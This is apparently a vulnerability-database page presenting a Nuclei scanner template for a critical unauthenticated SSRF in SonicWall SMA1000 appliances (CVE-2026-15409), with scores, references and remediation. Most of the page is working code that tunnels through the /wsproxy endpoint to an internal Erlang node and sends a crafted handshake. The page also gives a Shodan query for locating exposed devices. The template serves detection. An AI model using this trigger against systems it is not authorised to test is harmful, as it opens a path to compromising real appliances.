SonicWall SMA1000 - Server-Side Request Forgery
CVE-2026-15409
Verified
Description
SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.
Severity
Critical
CVSS Score
10
Exploit Probability
84%
Affected Product
sma1000
Published Date
July 17, 2026
Template Author
dhiyaneshdk, rapid7
CVE-2026-15409.yaml
id: CVE-2026-15409
info:
name: SonicWall SMA1000 - Server-Side Request Forgery
author: DhiyaneshDk,rapid7
severity: critical
description: |
SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.
impact: |
Remote attackers can make the appliance send requests to unintended locations, potentially accessing internal resources or causing further attacks.
remediation: |
Update to the latest version.
reference:
- https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409
- https://github.com/remmons-r7/rapid7-CVE-2026-15409
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-15409
cwe-id: CWE-918
epss-score: 0.83658
epss-percentile: 0.99676
metadata:
verified: true
max-request: 1
vendor: sonicwall
product: sma1000
shodan-query: http.html:"workplace" "SMA"
tags: cve,cve2026,sonicwall,sma,ssrf,rce,kev,vkev
javascript:
- code: |
var m = require("nuclei/net");
function toHex(bytes) {
var h = "";
for (var i = 0; i < bytes.length; i++) {
var v = bytes[i].toString(16);
h += (v.length === 1 ? "0" : "") + v;
}
return h;
}
function toBase64(bytes) {
var alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var out = "";
var n = bytes.length;
for (var i = 0; i < n; i += 3) {
var b0 = bytes[i];
var b1 = (i + 1 < n) ? bytes[i + 1] : 0;
var b2 = (i + 2 < n) ? bytes[i + 2] : 0;
out += alpha[b0 >> 2];
out += alpha[((b0 & 0x03) << 4) | (b1 >> 4)];
out += (i + 1 < n) ? alpha[((b1 & 0x0f) << 2) | (b2 >> 6)] : "=";
out += (i + 2 < n) ? alpha[b2 & 0x3f] : "=";
}
return out;
}
function buildWSTextFrame(text) {
var mask = [0x37, 0xfa, 0x21, 0x3d];
var len = text.length;
var frame = [0x81]; // FIN=1, RSV=0, opcode=1 (text)
if (len < 126) {
frame.push(0x80 | len);
} else {
frame.push(0x80 | 126);
frame.push((len >> 8) & 0xff);
frame.push(len & 0xff);
}
frame.push(mask[0]); frame.push(mask[1]);
frame.push(mask[2]); frame.push(mask[3]);
for (var i = 0; i < len; i++) {
frame.push(text.charCodeAt(i) ^ mask[i % 4]);
}
return toHex(frame);
}
var responseOutput = "";
var ssrfConfirmed = "false";
var debugStatusHex = "";
try {
var conn = m.OpenTLS("tcp", Host + ":" + Port);
conn.SetTimeout(10);
var wsUpgradeReq = (
"GET /wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1\r\n" +
"Host: " + Host + "\r\n" +
"Upgrade: websocket\r\n" +
"Connection: Upgrade\r\n" +
"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n" +
"Sec-WebSocket-Version: 13\r\n" +
"Sec-WebSocket-Protocol: binary\r\n" +
"User-Agent: SMA Connect Agent\r\n" +
"\r\n"
);
conn.Send(wsUpgradeReq);
var httpResp = conn.RecvString(4096);
responseOutput = httpResp.substring(0, 400);
if (httpResp.indexOf("101") === -1) {
conn.Close();
Export("response", responseOutput);
Export("ssrf_confirmed", "false");
return;
}
try {
conn.SetTimeout(2);
conn.RecvHex(7); // consume the 7-byte SMA_READY_FRAME
conn.SetTimeout(10);
} catch (readyErr) {
conn.SetTimeout(10);
}
var erlPacket = [
0x00, 0x1f, // length = 31
0x4e, // tag 'N'
0x00, 0x00, 0x00, 0x00, 0x01, 0x07, 0x0f, 0x94, // FLAGS (64-bit BE)
0x00, 0x00, 0x00, 0x00, // creation = 0
0x00, 0x10, // name_len = 16
0x64, 0x65, 0x74, 0x65, 0x63, 0x74, 0x40, // "detect@"
0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31 // "127.0.0.1"
];
var erlB64 = toBase64(erlPacket);
var wsErlangFrame = buildWSTextFrame(erlB64);
conn.SendHex(wsErlangFrame);
var statusHex = conn.RecvHex(7);
debugStatusHex = statusHex;
conn.Close();
var compactHex = statusHex.replace(/\s+/g, "");
if (compactHex.indexOf("736f6b") !== -1) {
ssrfConfirmed = "true";
responseOutput += (
"\n[DETECTION] Erlang distribution node on localhost:1050 responded " +
"with status 'ok' via unauthenticated /wsproxy SSRF tunnel"
);
}
} catch (e) {
responseOutput += "\n[ERROR] " + e.toString();
try { conn.Close(); } catch (ce) {}
}
Export("response", responseOutput);
Export("ssrf_confirmed", ssrfConfirmed);
Export("debug_status_hex", debugStatusHex);
args:
Host: "{{Host}}"
Port: "443"
matchers-condition: and
matchers:
- type: word
part: response
words:
- "101 Switching Protocols"
- type: word
part: response
words:
- "[DETECTION] Erlang distribution node"
extractors:
- type: regex
name: erlang_status_raw
part: response
regex:
- 'debug_status_hex([0-9a-f ]+)'
# digest: 4b0a00483046022100eda1d6e90c2435b228b39792403e994ef711b578e6dc1a794b9d256d38ac780e022100ae8484c6ea41af3ad292352ec7ad4b78f500f9d8ee5e99b45ddbcd723679686d:922c64590222798bb761d5b6d8e7295010.0Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-15409
CWE ID:
cwe-918
References
https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409https://github.com/remmons-r7/rapid7-CVE-2026-15409
Remediation Steps
Update to the latest version.